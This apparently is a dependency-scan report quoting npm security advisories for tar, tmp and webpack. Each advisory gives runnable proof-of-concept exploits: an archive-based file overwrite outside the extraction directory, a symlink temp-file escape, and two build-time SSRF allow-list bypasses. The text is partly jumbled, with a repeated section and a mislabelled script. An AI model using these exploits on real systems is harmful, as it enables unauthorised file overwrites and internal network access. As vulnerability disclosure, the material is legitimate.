`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.
### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar filesCWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Vulnerable Software & Versions (NPM):
### Summary
`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.
### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.
What happens with `linkpath: "C:../target.txt"`:
1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.
2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.
3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.
This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.
### PoC
Tested on Arch Linux with `tar@7.5.9`.
PoC script (`poc.cjs`):
```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```
Run:
```bash
cd test-workspace
node poc.cjs && ls -l ../target.txt
```
Observed output:
```text
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt
```
`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.
### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar filesCWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-59 Improper Link Resolution Before File Access ('Link Following')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?tmp
Referenced In Project/Scope: package-lock.json: transitive
### Summary
`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.
### Details
According to the documentation there are some conditions that must be held:
```
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
```
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:
```js
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
```
If the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:
```js
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
```
### PoC
The following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.
Tested on a Linux machine.
- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it
```bash
mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
```
- check the folder is empty:
```bash
ls -lha $HOME/mydir1 | grep "tmp-"
```
- run the poc
```bash
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
```
- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):
```bash
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
```
- `main.js`
```js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
```
A Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.
```js
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
```
### Impact
Arbitrary temporary file / directory write via symlinkCWE-59 Improper Link Resolution Before File Access ('Link Following')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?webpack
Referenced In Project/Scope: package-lock.json: transitive
### Summary
When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
### Details
In the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata/info is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
**Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http://127.0.0.1:9100/secret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
<img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" />
### PoC
This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely.
#### 1) Setup
```bash
mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
```
#### 2) Create server.js
```js
#!/usr/bin/env node
"use strict";
const http = require("http");
const url = require("url");
const allowedPort = 9000;
const internalPort = 9100;
const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
`export const secret = ${JSON.stringify(secret)};\n` +
`export default "ok";\n`;
function start(port, handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(port, "127.0.0.1", () => resolve(s));
});
}
(async () => {
// Internal-only service (SSRF target)
await start(internalPort, (req, res) => {
if (req.url === "/secret.js") {
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(internalPayload);
console.log(`[internal] 200 /secret.js served (secret=${secret})`);
return;
}
res.statusCode = 404;
res.end("not found");
});
// Allowed host (redirector)
await start(allowedPort, (req, res) => {
const parsed = url.parse(req.url, true);
if (parsed.pathname === "/redirect.js") {
const to = parsed.query.to || internalUrlDefault;
// Safety guard: only allow redirecting to localhost internal service in this PoC
if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
res.statusCode = 400;
res.end("to must be internal-only in this PoC");
console.log(`[allowed] blocked redirect to: ${to}`);
return;
}
res.statusCode = 302;
res.setHeader("Location", to);
res.end("redirecting");
console.log(`[allowed] 302 /redirect.js -> ${to}`);
return;
}
res.statusCode = 404;
res.end("not found");
});
console.log(`\nServer running:`);
console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);
console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);
})();
```
#### 3) Create attacker.js
```js
#!/usr/bin/env node
"use strict";
const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
const webpackPkg = require("webpack/package.json");
const allowedPort = 9000;
const internalPort = 9100;
const allowedBase = `http://127.0.0.1:${allowedPort}/`;
const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;
const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;
async function walk(dir) {
const out = [];
const items = await fs.readdir(dir, { withFileTypes: true });
for (const it of items) {
const p = path.join(dir, it.name);
if (it.isDirectory()) out.push(...await walk(p));
else if (it.isFile()) out.push(p);
}
return out;
}
async function fileContains(f, needle) {
try {
const buf = await fs.readFile(f);
return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle);
} catch {
return false;
}
}
async function findInFiles(files, needle) {
const hits = [];
for (const f of files) if (await fileContains(f, needle)) hits.push(f);
return hits;
}
const fmtBool = b => (b ? "✅" : "❌");
(async () => {
const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-"));
const srcDir = path.join(tmp, "src");
const distDir = path.join(tmp, "dist");
const cacheDir = path.join(tmp, ".buildHttp-cache");
const lockfile = path.join(tmp, "webpack.lock");
const bundlePath = path.join(distDir, "bundle.js");
await fs.mkdir(srcDir, { recursive: true });
await fs.mkdir(distDir, { recursive: true });
await fs.writeFile(
path.join(srcDir, "index.js"),
`import { secret } from ${JSON.stringify(entryUrl)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
);
const config = {
context: tmp,
mode: "development",
entry: "./src/index.js",
output: { path: distDir, filename: "bundle.js" },
experiments: {
buildHttp: {
allowedUris: [allowedBase],
cacheLocation: cacheDir,
lockfileLocation: lockfile,
upgrade: true
}
}
};
const compiler = webpack(config);
compiler.run(async (err, stats) => {
try {
if (err) throw err;
const info = stats.toJson({ all: false, errors: true, warnings: true });
if (stats.hasErrors()) {
console.error(info.errors);
process.exitCode = 1;
return;
}
const bundle = await fs.readFile(bundlePath, "utf8");
const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
const secret = m ? m[0] : null;
console.log("\n[ATTACKER RESULT]");
console.log(`- webpack version: ${webpackPkg.version}`);
console.log(`- node version: ${process.version}`);
console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);
console.log(`- imported URL (allowed only): ${entryUrl}`);
console.log(`- temp dir: ${tmp}`);
console.log(`- lockfile: ${lockfile}`);
console.log(`- cacheDir: ${cacheDir}`);
console.log(`- bundle: ${bundlePath}`);
if (!secret) {
console.log("\n[SECURITY SUMMARY]");
console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);
return;
}
const lockHit = await fileContains(lockfile, secret);
let cacheFiles = [];
try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }
const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;
const allTmpFiles = await walk(tmp);
const allHits = await findInFiles(allTmpFiles, secret);
console.log(`\n- extracted secret marker from bundle: ${secret}`);
console.log("\n[SECURITY SUMMARY]");
console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);
console.log(`- Internal target (SSRF-like): ${internalTarget}`);
console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);
console.log(`- ACTUAL: internal content treated as module and bundled`);
console.log("\n[EVIDENCE CHECKLIST]");
console.log(`- bundle contains secret: ${fmtBool(true)}`);
console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);
console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
console.log("\n[PERSISTENCE CHECK] files containing secret");
for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);
if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);
} catch (e) {
console.error(e);
process.exitCode = 1;
} finally {
compiler.close(() => {});
}
});
})();
```
#### 4) Run
Terminal A:
```bash
node server.js
```
Terminal B:
```bash
node attacker.js
```
#### 5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
### Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.CWE-918 Server-Side Request Forgery (SSRF)Vulnerable Software & Versions (NPM):
### Summary
When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) can be bypassed to fetch resources from **hosts outside `allowedUris`** by using crafted URLs that include **userinfo** (`username:password@host`). If `allowedUris` enforcement relies on a **raw string prefix check** (e.g., `uri.startsWith(allowed)`), a URL that *looks* allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (outbound requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion** (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
- webpack version: **5.104.0**
- Node version: **v18.19.1**
### Details
**Root cause (high level):** `allowedUris` validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., `new URL(uri)`), which interprets the **authority** as the part after `@`.
Example crafted URL:
- `http://127.0.0.1:9000@127.0.0.1:9100/secret.js`
If the allow-list is `["http://127.0.0.1:9000"]`, then:
- Raw string check:
`crafted.startsWith("http://127.0.0.1:9000")` → **true**
- URL parsing (WHAT `new URL()` will contact):
`origin` → `http://127.0.0.1:9100` (host/port after `@`)
As a result, webpack fetches `http://127.0.0.1:9100/secret.js` even though `allowedUris` only included `http://127.0.0.1:9000`.
**Evidence from reproduction:**
- Server logs showed the internal-only endpoint being fetched:
- `[internal] 200 /secret.js served (...)` (observed multiple times)
- Attacker-side build output showed:
- the internal secret marker was present in the **bundle**
- the internal secret marker was present in the **buildHttp cache**
<img width="1651" height="381" alt="image-2" src="https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492" />
### PoC
This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely.
#### 1) Setup
```bash
mkdir split-userinfo-poc && cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
```
#### 2) Create server.js
```js
#!/usr/bin/env node
"use strict";
const http = require("http");
const ALLOWED_PORT = 9000; // allowlisted-looking host
const INTERNAL_PORT = 9100; // actual target if bypass succeeds
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
`// internal-only\n` +
`export const secret = ${JSON.stringify(secret)};\n` +
`export default "ok";\n`;
function listen(port, handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(port, "127.0.0.1", () => resolve(s));
});
}
(async () => {
// "Allowed" host (should NOT be contacted if bypass works as intended)
await listen(ALLOWED_PORT, (req, res) => {
console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);
});
// Internal-only service (SSRF-like target)
await listen(INTERNAL_PORT, (req, res) => {
if (req.url === "/secret.js") {
console.log(`[internal] 200 /secret.js served (secret=${secret})`);
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(internalPayload);
return;
}
console.log(`[internal] 404 ${req.method} ${req.url}`);
res.statusCode = 404;
res.end("not found");
});
console.log("\nServers up:");
console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);
console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);
})();
```
#### 2) Create server.js
```js
#!/usr/bin/env node
"use strict";
const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
function fmtBool(b) { return b ? "✅" : "❌"; }
async function walk(dir) {
const out = [];
let items;
try { items = await fs.readdir(dir, { withFileTypes: true }); }
catch { return out; }
for (const it of items) {
const p = path.join(dir, it.name);
if (it.isDirectory()) out.push(...await walk(p));
else if (it.isFile()) out.push(p);
}
return out;
}
async function fileContains(f, needle) {
try {
const buf = await fs.readFile(f);
const s1 = buf.toString("utf8");
if (s1.includes(needle)) return true;
const s2 = buf.toString("latin1");
return s2.includes(needle);
} catch {
return false;
}
}
(async () => {
const webpackVersion = require("webpack/package.json").version;
const ALLOWED_PORT = 9000;
const INTERNAL_PORT = 9100;
// NOTE: allowlist is intentionally specified without a trailing slash
// to demonstrate the risk of raw string prefix checks.
const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`;
// Crafted URL using userinfo so that:
// - The string begins with allowedUri
// - The actual authority (host:port) after '@' is INTERNAL_PORT
const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;
const parsed = new URL(crafted);
const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-"));
const srcDir = path.join(tmp, "src");
const distDir = path.join(tmp, "dist");
const cacheDir = path.join(tmp, ".buildHttp-cache");
const lockfile = path.join(tmp, "webpack.lock");
const bundlePath = path.join(distDir, "bundle.js");
await fs.mkdir(srcDir, { recursive: true });
await fs.mkdir(distDir, { recursive: true });
await fs.writeFile(
path.join(srcDir, "index.js"),
`import { secret } from ${JSON.stringify(crafted)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
);
const config = {
context: tmp,
mode: "development",
entry: "./src/index.js",
output: { path: distDir, filename: "bundle.js" },
experiments: {
buildHttp: {
allowedUris: [allowedUri],
cacheLocation: cacheDir,
lockfileLocation: lockfile,
upgrade: true
}
}
};
console.log("\n[ENV]");
console.log(`- webpack version: ${webpackVersion}`);
console.log(`- node version: ${process.version}`);
console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);
console.log("\n[CRAFTED URL]");
console.log(`- import specifier: ${crafted}`);
console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);
console.log(`- WHAT URL() parses:`);
console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);
console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);
console.log(` - hostname: ${parsed.hostname}`);
console.log(` - port: ${parsed.port}`);
console.log(` - origin: ${parsed.origin}`);
console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);
const compiler = webpack(config);
compiler.run(async (err, stats) => {
try {
if (err) throw err;
const info = stats.toJson({ all: false, errors: true, warnings: true });
if (stats.hasErrors()) {
console.error("\n[WEBPACK ERRORS]");
console.error(info.errors);
process.exitCode = 1;
return;
}
const bundle = await fs.readFile(bundlePath, "utf8");
const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
const foundSecret = m ? m[0] : null;
console.log("\n[RESULT]");
console.log(`- temp dir: ${tmp}`);
console.log(`- bundle: ${bundlePath}`);
console.log(`- lockfile: ${lockfile}`);
console.log(`- cacheDir: ${cacheDir}`);
console.log("\n[SECURITY CHECK]");
console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);
if (foundSecret) {
const lockHit = await fileContains(lockfile, foundSecret);
const cacheFiles = await walk(cacheDir);
let cacheHit = false;
for (const f of cacheFiles) {
if (await fileContains(f, foundSecret)) { cacheHit = true; break; }
}
console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);
}
} catch (e) {
console.error(e);
process.exitCode = 1;
} finally {
compiler.close(() => {});
}
});
})();
```
#### 4) Run
Terminal A:
```bash
node server.js
```
Terminal B:
```bash
node attacker.js
```
#### 5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
### Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.CWE-918 Server-Side Request Forgery (SSRF)Vulnerable Software & Versions (NPM):